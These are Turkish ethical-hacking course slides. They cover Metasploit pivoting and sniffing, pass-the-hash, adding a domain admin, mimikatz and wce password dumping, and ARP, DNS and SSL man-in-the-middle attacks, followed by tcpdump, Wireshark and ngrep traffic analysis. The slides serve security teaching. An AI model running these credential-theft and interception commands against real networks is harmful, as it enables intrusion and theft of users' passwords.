Port yönlendirme yapılabilir.
Uzak ağ ile VPN tuneli kurulabilir.
115. BGA | CEH
@BGASecurity
Pivoting | Portfwd
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
meterpreter > portfwd add -l 3389 -p 3333 -r 127.0.0.1
[*] Local TCP relay created: 0.0.0.0:3389 <-> 127.0.0.1:3333
116. BGA | CEH
@BGASecurity
Pivoting | Route
Uzak ağdaki diğer ip adreslerine erişmek için kullanılır.
VPN tuneline benzetilebilir.
117. BGA | CEH
@BGASecurity
Pivoting | Route
msf > route -h
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
msf > route add 1.1.1.0 255.255.255.0 1
[*] Route added
msf > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
1.1.1.0 255.255.255.0 Session 1
119. BGA | CEH
@BGASecurity
Trafik Dinleme (Packet Sniffing)
Exploiting sonrası hedef sistemde ilerleme aşamasında trafik kayıtları önemli
veriler içerebilir.
Uzak bir sistem ele geçirildiğinde, hedef sistemde ilerlemek için elde edilecek
kritik verilerden biride network trafiğidir.
Ele geçirilen sistemin üzerinden ftp,http,smtp,pop3 vb. trafiği akıyor ve şifre
içeriyor olabilir. Meterpreter ajanının sniffing özelliği ile, uzak sistemin ağ
kartını dinleyerek trafiği kaydedebilirsiniz.
120. BGA | CEH
@BGASecurity
Trafik Dinleme (Packet Sniffing)
meterpreter > use sniffer
Sniffer Komutları
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface
121. BGA | CEH
@BGASecurity
Trafik Dinleme (Packet Sniffing)
Komut açıklamaları;
sniffer_dump: Yakalanan trafiği dosya olarak kaydeder.
sniffer_interfaces: Ağ arabirimlerinin listesini verir.
sniffer_start: Belirtilen ağ arabirimi için paket yakalamaya
başlar
sniffer_stats: Aktif sniffing için istatistlik sunar
sniffer_stop: Belirtilen ağ arabirimi için dinlemeyi sonlandırır.
122. BGA | CEH
@BGASecurity
Trafik Dinleme (Packet Sniffing)
Hedef sistemdeki ağ arabirimlerinin listesini ver,
meterpreter > sniffer_interfaces
1 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514
usable:true dhcp:false wifi:false )
1 numaralı ağ arabirimini dinle, 20000 paket yakala
meterpreter > sniffer_start 1 20000
[*] Capture started on interface 1 (20000 packet buffer)
125. BGA | CEH
@BGASecurity
Exploit Sonrası Sistemde İlerleme
Post exploitation olarak da adlandırılır.
Amaç herhangi bir güvenlik zafiyeti kullanarak sisteme gerçekleştirilen
yetkisiz, düşük yetkili bir kullanıcı haklarıyla sistemi ele geçirme, sistemi ara
geçit olarak kullanarak başka sistemlere atlama.
Bu bölüm, exploit sonrası uzak sistemde ilerleme,gizleme ve kayıtları silme
yöntemlerinin anlaşışması ve uygulanmasını içerir.
126. BGA | CEH
@BGASecurity
Pass The Hash ile Diğer sistemlere erişim
Windows sistemler üzerinde elde edilen parola özeti(hash) ile doğrudan
diğer sistemlere bağlantı gerçekleştirilebilmektedir.
Bunun için smb_login modülü kullanılabilir.
(Blank_password,user_as_pass,spool)
use auxiliary/scanner/smb/smb_login
Set RHOST file://root/target.txt
Set SMBUser user
Set SMBPass pass
Exploit
127. BGA | CEH
@BGASecurity
Pass the hash ve Token Bulma
Easyda.sh
Metasploit Psexec_loggedin_users modülü
Find_token.exe
Bağlantıkları sistmlerde hangi kullanıcılara ait token varsa listelerler.
C:> find_token.exe –f ipler.txt username password
Password bölümüne parolanın windows hash değeri de girilebilir
128. BGA | CEH
@BGASecurity
DC’yi bulma ve kullanıcı ekleme
DC tespit edilir(run post/windows/gather/enum_domain)
use incognito
run post/windows/gather/enum_domain
DC’ye mevctu tokenlar kullanılarak kullanıcı eklenir
add_user celal celal123!! –h dc_ip
DC’ye eklenen kullanıcı Domain admins/local administrators
grubuna eklenir.
add_group ‘Domain Admins’ celal –h dc_ip
add_localgroup_user ‘Administrators’ celal –h dic_ip
129. BGA | CEH
@BGASecurity
Sistemlerden Parolaları Cleartext Alma
Erişim sağlanan bir sistem belleğinden tüm kullancılara ait
parolalar açık olarak elde edielbilmektedir.(mimikatz)
use mimikatz
ps –s winlogon
migrate PID
Wdigest
130. BGA | CEH
@BGASecurity
Sistemlerden Parolaları Cleartext Alma - II
Mimikatz.exe hedef sisteme yüklenir. Ardından
aşağıdaki komutlar ile hedef sistem üzerindeki
parolalar açık olarak alınabilir.
privilege::debug
sekurlsa::logonpasswords
131. BGA | CEH
@BGASecurity
Wce.exe ile mevcut parolayı değiştirme
Tüm kullanıcı parolalarını listelemek için (wce.exe –l)
Mevcut bir kullanıcı hashini değiştirmek için (wce –s administrator:domain:hash)
Parolaları açık almak için (wce -w)
Parola hashi oluşturmak için (wce –g 123456)
132. BGA | CEH
@BGASecurity
Psexec ile sistemden parolasız shell
wce –s administrator:domain:hash ile mevcut admin
kullanıcı parolası değiştirilirse doğrudan c$ (IPC$)
üzerinden de parolasız bağlantı kurulabilir.
psexec IPc$ -s cmd komutu ile shell elde edilebilir.
Ardından hedef sisteme c$ üzerinden atılan zararlı
çalıştırılarak meterpreter oturumu elde edilebilir.
133. BGA | CEH
@BGASecurity
Route Kullanılarak Port Tarama(Nmap)
msf > db_nmap 6.6.6.0/24 -n -v -p 80,21 –open // nmap port tarama
msf > hosts –u //Up olan sistemleri getirir
msf > hosts -S tomcat –u //İçerisinde tomcat geçen up sistemler
msf > services -p 445 –u //445 portundan yalnız açık olanları listelere
msf > services -p 80 –R //80 portu açık olan sistemlerin yalnız IP
adreslerini liste halinde bir dosyaya yazar yazdığı dosyayı size söyler.
msf > hosts -u –R //Up olan sistemlerin IP adreslerini bir dosyaya yazar
ve bunu bize söyler
136. BGA | CEH
@BGASecurity
TCP/IP Güvenliği
TCP/IP güvenlik düşünülerek tasarlanmış bir protokol değildir.
Veri iletişimini her durumda sağlıklı ve güvenilir (verinin
iletildiğinden emin olma) bir şekilde yapması amaçlanmıştır.
Alt seviye protokollerin(ARP)güvenilirliği üst seviye protokolleri
etkiler.
137. BGA | CEH
@BGASecurity
Arp Zehirleme (MITM Saldırısı) - I
ARP(Address Resolation Protokol) Layer 2’nin temel protokolüdür.
Yerel ağda iletişim IP adresi yerine MAC adresi üzerinden gerçekleştirilir.
İletişime geçilecek tüm cihazların (default gw dahil) MAC adresleri
bilinmelidir.
MAC adresi yazılımsal olarak değiştirilebilir. (macchanger)
ARP poisoning, saldırganın kendisini GW olarak göstermesidir.
138. BGA | CEH
@BGASecurity
Arp Zehirleme (MITM Saldırısı) - II
Saldırgan sürekli olarak ortama arp replay paketleri
göndermektedir.(Broadcast olarak)
Herhangi bir kullanıcı bir yere gitmek istediğinde arp request oluşturacak ve
buna saldırganın arp replay paketleri dönecektir.
Böylece kurbanlar arp poisoninge uğramış olacaktır.
arp –a komutu ile tüm iletişim halindeki sistmlere ait MAC-IP bilgisi
görülebilir. Default gw mac adresi olarak artık saldırganın MAC adresi bu
listede görülebilir.
139. BGA | CEH
@BGASecurity
Ettercap ile MITM Saldırısı
Ettercap ile aşağıdaki komut ile MITM gerçekleştirilebilir.
ettercap –i eth0 –T –M ARP /zehirlecek_ip/ /gateway/
140. BGA | CEH
@BGASecurity
ArpSpoof ile MITM
arpspoof -i <interface> -t <target IP> <gateway IP>
Şeklinde arpspoof ile de man in the middle saldırısı gerçekleştirilebilir.
Ama öncelikle aşağıdaki komut ile trafik route edilmelidir.
echo 1 > /proc/sys/net/ipv4/ip_forward
141. BGA | CEH
@BGASecurity
Switch Kullanılan Ağlarda Trafik Dinleme
Hub ve benzeri ortamlarda trafik tüm portlara gider.
Switch ise sadece iletişim kuran iki host arasında paketleri döndürür.
Her host sadece kendisine ve broadcast adresine gelen paketleri görebilir.
142. BGA | CEH
@BGASecurity
ARP Paket Çeşitleri
4 cesit ARP mesajı vardır
ARP request : IP Adresine ait donanım adresi(MAC adresi) sorgulamak için kullanılır
10:09:20.356809 arp who-has 12.16.6.17 tell 12.16.6.185
ARP reply : Belirtilen Ip adresine uyan donanım adresini döndürür
10:09:20.356809 arp reply 12.16.6.17 is-at 0:80:c8:f8:5c:73
RARP request: Belirli bir MAC adresi için IP adresi sorgulaması için kullanılır
RARP reply : Belirli MAC adresi için IP adresi cevabı döndürür.
143. BGA | CEH
@BGASecurity
ARP Cache Poisoning/ ARP Spoofing(ARP Bellek Zehirlemesi)
Amaç: Kurban sisteme sahte arp paketleri(arp-reply) göndererek kendisini
farklı bilgisayar gibi (Gateway?) göstermek ve kurbanın göndereceği trafiği
üzerinden geçirmek.
ARP Poisoning gerçekleştirmek için kullanılan temel araçlar;
Linux İçin:
Arpspoof, nemesis, Ettercap
Windows için:
Winarpspoof, Ettercap, Cain&Abel
145. BGA | CEH
@BGASecurity
Cain & Abel ile Spoofing / Poisoning Çalışmaları
Cain & Abel çok amaçlı bir Güvenlik aracıdır
Cain ve Abel olarak iki ana parçadan oluşur.
Bir parçası daha çok sistem ve parola işlemleri,
diğeri parçası ağ güvenliği ile alakalı programlar içerir.
ARP spoof işlemi hangi
arabirim üzerinden
yapılacak?
149. BGA | CEH
@BGASecurity
Dnsspoof Çalışması
Amaç kurban olarak seçilen sistemin yapacağı dns sorgulamalarına müdahele etmektir.
Dnsspoof öncesi durum:
Arpspoof ile hedef sistemin
trafigi üzerimizden gecirilir.
150. BGA | CEH
@BGASecurity
Dnsspoof Çalışması-II
ip_forward aktif duruma getirilerek trafigin hedefine yönlendirilmesi
sağlanır.
Değiştirilmek istenen domainlere ait kayıtlar /tmp/domains dosyasına
aşağıdaki formatta girilir.
127.0.0.1 *.google.com
192.168.1.5 www.linux.com
dnsspoof aracı çalıştırılır.
152. BGA | CEH
@BGASecurity
HTTPS Trafiğinde Araya Girme
SSL bağlantılarında araya girme fikri ilk bakışta zor hatta imkansız gibi görülse de
gerekli şartlar oluşturulduğunda oldukça kolay başarılabilmektedir
Gerekli Şartlar:
İlk olarak hedef sistemin trafiği APR ile bizim üzerimiden geçecek şekilde kandırılmalıdır.
Hedef sistemin iletişim kurmak istediği HTTPS sayfasına ait sertifika bilgileri ile sahte bir
sertifika oluşturulmalıdır.
Sahte oluşturulan bu sertifika tüm modern browserlarda kullanıcıya uyarı verecektir.
Bazı browserlar bu uyarıyı oldukça kullanıcı yanlısı (rahatsız etmeyici yumusak bir
mesaj) bazıları da oldukça rahatsız edici ve problemi belirtici uyarılarla gösterirler.
156. BGA | CEH
@BGASecurity
Cain&Abel ile SSL MITM Uygulaması
Çözümlenen SSL altındaki
protokole(örnekte http) ait
gizli bilgiler de sol tarafda
gözükecektir.
157. BGA | CEH
@BGASecurity
Ettercap : Gelişmiş Hijacking Aracı
Ettercap, Linux ve Windows sistemlerde çalışan çok yönlü
trafik dinleme, araya girme ve veri değiştirme aracıdır.
TCP/IP’deki zayıflıklardan yararlanır.
Komut satırı ve grafik arabirim seçenekleri mevcuttur.
ettercap –C ile Curses modda
çalıştırır
Ettercap –I interaktif modda
çalıştırır.
158. BGA | CEH
@BGASecurity
Ettercap Kullanımı
İlk işlem hangi tür sniffing
yapılacağının seçilmesi
Kurban sistem bulmak için
Yerel ağ taraması yapılır.
159. BGA | CEH
@BGASecurity
Kurban Seçimi
Buradan istenilen system hedef olarak seçilir ve Target olarak eklenir.
1
2
4
3
161. BGA | CEH
@BGASecurity
Ettercap Filtreleri
Ettercap’in en güçlü olduğu yanlardan biri de akan trafikte filtreleme
yapabilmesi ve bu filtrelemeye göre trafiği kaydedip değiştirebilmesidir.
162. BGA | CEH
@BGASecurity
SSH Protokolünde Araya Girve ve Veri Okuma & Değiştirme
SSH Protokolünde Araya Girilebilir mi?
163. BGA | CEH
@BGASecurity
SSH Protokolü
SSH (Secure Shell/Güvenli Kabuk) ağ üzerinden başka
bilgisayarlara erişim sağlamak, uzak bir bilgisayarda komutlar
çalıştırmak ve bir bilgisayardan diğerine dosya transferi amaçlı
geliştirilmiş bir protokoldür.
Bir iletişimde SSH aşağıda belirtilen temel unsurları sağlar.
• Authentication /Kimlik denetimi
• Encryption /Şifreleme
• Integrity /Bütünlük
164. BGA | CEH
@BGASecurity
SSH Temel Bilgiler
SSH1, Tatu Ylönen tarafından geliştirilen ilk orjinal SSH ürünü.
SSH-1 protokolü temel alınarak geliştirilmiştir.
SSH2, Tatu Ylönen tarafından geliştirilen SSH-2 ürünü.
www.ssh.com
SSH-1, SSH protocol 1.
SSH-2, SSH protocol 2 . Günümüzde yaygın kullanımda olan ve
kullanımı tavsiye edilen ssh sürümü. IETF SECSH çalışma grubu
tarafından standartları belirlenmiştir.
165. BGA | CEH
@BGASecurity
OpenSSH
OpenSSH son özgür SSH versiyonu olan ssh1.2.12 den türetilmistir
Ticari SSH sunucular kadar özelliğe sahip
Dünya SSH servisinin %90~
Sshscan aracılığı ile alınmış resmi bilgi.
167. BGA | CEH
@BGASecurity
Araya girme nasıl olur?
SSH-1 protokolü çeşitli tasarımsal güvenlik açıklarına sahip.
SSH-2 de bunlar giderildi.
Fakat çoğu sunucu hem ssh-1 hem de ssh-2 destekler.
Ssh-1 kullanan sistemlerde araya girip veri okuma & değiştirme
yapılabilir.
Ssh-2 sistemler eğer ssh-1 destekliyorsa “downgrade attack”
gerçekleştirilerek ssh-1 kullanmaya zorlanır ve saldırı yine
başarılı olur.
172. BGA | CEH
@BGASecurity
Bölüm İçeriği
Paket, protokol kavramları
Temel kavramlar
Sniffing
Sniffing'e açık protokoller
Sniffing çeşitleri
Aktif Sniff / Pasif Sniff
Ortama göre sniffer yerleşimi
Sniffing amaçlı kullanılan araçlar
Network data carving
173. BGA | CEH
@BGASecurity
Paket Kavramı..
İletişim == paket
Ne işe yarar
Bilinmeyen Protokol Analizi
Ag trafiği ölçümü
Anormal trafik gözleme
Firewall/IDS/IPS altyapısı..
TCP, UDP Paketleri
Protokoller
SMTP, FTP, P2P trafiği nasıl ayırt edilir
http://l7-filter.sourceforge.net/protocols
174. BGA | CEH
@BGASecurity
Temel Kavramlar
Inline/Pasif Yerleşim
Ethernet Çalışma modları
Unicast paketler
Multicast paketler
Broadcast paketler
Promiscious Mode
Snifferlar genelde Promiscious modda çalışır.
# ifconfig eth0 –promisc
Komutu arabirimi promisc modda çıkarır
175. BGA | CEH
@BGASecurity
Ethernet Kartlarında Filtreleme
Unicast-> Kendi adresine gelen paketler
Broadcast -> Broadcast adresine gelen paketler
Multicast-> uye olunan multicast gruba ait
paketler.
Promiscious -> Gelen paketin ne olduğuna
bakmadan kabul edildiği durum.
177. BGA | CEH
@BGASecurity
Sniffing ...
Ağ trafiği dinleme
Şifreli/şifresiz protokoller
Sniffingde Amaç?
Good/Admins = “Protocol Analysis”
Bad/Hackers = “Sniffing The Wire”
Developers = “Is My Application Working
178. BGA | CEH
@BGASecurity
Sniffing’e Açık Protokoller
Sniffing’e açık:İçerisinde taşıdığı veri okunabilir, şifrelenmemiş trafik
Hemen hemen tüm protokoller
Telnet, Rlogin
HTTP/FTP
SMTP/POP/IMAP
Güvensiz Protokollerin güvenli kullanımı
SSL Wrapper
Internette en sık kullanılan 10 port
186. BGA | CEH
@BGASecurity
Stunnel Yapılandırması
995. Porta gelen şifreli istekleri al, şifrelemeyi çöz ve 110. portta çalışan uygulamaya teslim et.
187. BGA | CEH
@BGASecurity
Sniffing Çeşitleri
Pasif Sniffing
Hedef sistemle iletişime geçilmez!
Sniffing’e dair iz bulunamaz
HUB kullanılan ortamlarda
Aktif Sniffing
Hedef sistemle iletişime geçilir
Arkasında iz bırakır
Switch kullanılan Ağlarda yaygındır
188. BGA | CEH
@BGASecurity
Pasif Sniffing
HUB/TAP kullanılan ortamlarda işe yarar
Ortama dahil olan her sistem dolaşan tüm paketleri alır
Promiscious modda olanlar paketleri kabul eder/kaydeder.
Sık Kullanılan Araçlar:
Tcpdump, Wireshark, Snort, Dsniff, Tshark
189. BGA | CEH
@BGASecurity
Aktif Sniffing
Amaç: trafiği dinlenecek sistemin paketlerini üzerinden geçirme ya da kopyasını
almak.
Switch / HUB Farkını hatırlayalım
Yöntemleri
MAC Flooding
ARP Spoofing/Poisoning
Icmp redirect
Aktif Sniffing Araçları
Arpspoof(Dsniff)
Ettercap
Cain&Abel
Macof
Kolay Yakalanabilir(?)
190. BGA | CEH
@BGASecurity
Sniffer Yerleşimi
Ağ ortamının özelliğine göre Snifferların yerleşimi değişmektedir.
TAP kullanılan ortamlarda
HUB’lı ortamlarda
Switch kullanılan ağlarda(Port mirroring)
195. BGA | CEH
@BGASecurity
UNIX Tabanlı popüler sniffer yazılımı
Windows icin windump
Libpcap tarafından alınan ham veriler tcpdump
tarafından işlenerek okunabilir hale gelir.
Tamamen ücretsiz bir yazılım.
Sorun giderme , trafik analizi, hacking amaclı
kullanılabilir.
196. BGA | CEH
@BGASecurity
Tcpdump Kurulumu
Linux dağıtımları ile birlikte gelir.
Windows için Winpcap kurulu olmalıdır.
Konsoldan
Tcpdump komutunu calistirdiginizda hata vermiyorsa
sistemede kurulu demektir.
197. BGA | CEH
@BGASecurity
Ön Bilgiler
Linux/UNIX altında tcpdump programını kullanabilmek için ya
root haklarına sahip olmak lazım ya da tcpdump programının suid
olarak çalışması lazım.
Tcpdump, paketleri kernel'a giriş-çıkış yapmadan yakalar bu
sebeple iptables (Linux için) ile yazdığınız kurallar tcpdump'ı
etkilemez.
198. BGA | CEH
@BGASecurity
Temel Kullanımı
Tcpdump komut satırından çalışan bir araç olduğu için
parametreler oldukça önemlidir.
Uygun parametreler ve filtreler kullanılırsa yoğun
trafikte bile istenilen amaca kolaylıkla ulaşılabilir.
205. BGA | CEH
@BGASecurity
Paket Detaylarını Loglama
-v parametresi ile tcpump'dan biraz daha detaylı loglama yapmasını
isteyebiliriz. Mesela bu parametre ile tcpdump çıktılarını TTL ve ID değerleri
ile birlikte edinebiliriz.
206. BGA | CEH
@BGASecurity
Filtrelerle Çalışmak
host Parametresi
Sadece belli bir host a ait paketlerin izlenmesini istiyorsak
host parametresi ile belirtim yapabiliriz.
dst host (Hedef Host Belirtimi)
src host (Kaynak Host Belirtimi)
# tcpdump src host 10.1.0.59 and dst host 10.1.0.1
207. BGA | CEH
@BGASecurity
Filtrelerle Çalışmak
Port parametresi
belirli bir portu dinlemek istediğimizde kullanacağımız
parametredir. Host gibi src ve dst oneklerini alabilir.
src ile kaynak portu dst ile hedef portu belirtebiliriz . dst ya
da src önekini kullanmazsak hem kaynak hemde hedef
portu alır.
# tcpdump src port 23 and dst port 9876
208. BGA | CEH
@BGASecurity
Filtrelerle Çalışmak
Şartlı ifadeler
And
Or
Not
# tcpdump -i eth0 -n not tcp port 22 or host
192.168.1.1
214. BGA | CEH
@BGASecurity
Sniffer Olarak Snoop
Solaris sistemler için sniffer programı
Tcpdump benzeri kullanıma sahiptir.
215. BGA | CEH
@BGASecurity
Sniffer Olarak Wireshark
Eski adı Ethereal
Açık kaynak kodlu Sniffer aracı
Grafik arabirimli/ komut satırı
Bilinen çoğu işletim sistemlerinde çalışır
Bilinen tüm protokolleri destekler
Yakalanan paketleri kaydedebilme
Kaydedilmiş paketleri diskten okuma
Protokol renklendirme
220. BGA | CEH
@BGASecurity
Filtreler
Yakalanacak paketlere
uygulanır.
Tcpdump formatı ile
aynıdır.
Tcp port 22 and host
vpn.lifeoverip.net or icmp
Yakalanan paketler
üzerinde analiz yapılırken
kullanılır.
Farklı bir formata sahiptir.
(Tcp.port eq 22) and
(ip.addr eq blabla...)
Arabirimden filtre
yazılabilir
221. BGA | CEH
@BGASecurity
Capture Filter
Tcp port 21
Tcp port 21 and tcp port 1982
Tcp port 22 and host vpn.lifeoverip.net or icmp
225. BGA | CEH
@BGASecurity
Tshark
Wireshark komut satırı aracı
Tcpdump benzeri parametrelerle çalışır
Tcpdump’dan en önemli farkı protokol detaylarını gösterebilmesi ve
protokol detaylarına göre filtreleme yapılabilmesidir.
227. BGA | CEH
@BGASecurity
Tshark Filter Kullanımı(-R)
Display filter özelliği ile Tshark çözümleyebildiği protokollere ait
tüm detayları gösterebilir ve sadece bu detaylara ait paketleri
yakalamaya yardımcı olur.
Amacımız dns trafiği içerisinde sadece www.lifeoverip.net
domainine ait sorgulamaları yakalamak istersek aşağıdaki gibi bir
filtreleme kullanılabilir.
228. BGA | CEH
@BGASecurity
Tshark Filter Kullanımı-II
HTTP trafiği içerisindeGET, PUT ve OPTIONS kullanılan istekleri yakalama
BirTCP Bağlantısına ait başlangıç ve bitiş paketlerini yakalama
230. BGA | CEH
@BGASecurity
Network Grep:Ngrep
Grep: UNIX/Linux sistemlerde dosya içerisinde belirli
düzene uyan stringlerin/satırların bulunmasını sağlar
Ngrep(Network Grep): grep benzeri bir yazılım fakat
klasik dosyalarda değil de ağ trafiğinde arama/bulma
işlemi yapar.
231. BGA | CEH
@BGASecurity
Ngrep ile Ne Yapılabilir?
http portu üzerinden kullanılan SSH bağlantılarını ngrep ile
keşfedebilirsiniz
Ağda şifresiz trafik kullananların parolalarını kaydedip uyarabilirsiniz.
Tünelleme programlarını ortamda hiçbir IPS, Firewall vs ye ihtiyaç
duymadan Ngrep ile yakalayabilirsiniz
233. BGA | CEH
@BGASecurity
Http Portundan Yapılan SSH
Bu komutu biraz daha geliştirip SSH portu harici herhangi bir porttan SSH
kullanmaya çalışanları izleyebilirsiniz.
234. BGA | CEH
@BGASecurity
Ngrep’i IDS Olarak Kullanma
Amaç: HTTP portu üzerinden yapılan fakat http
olmayan bağlantıları izleme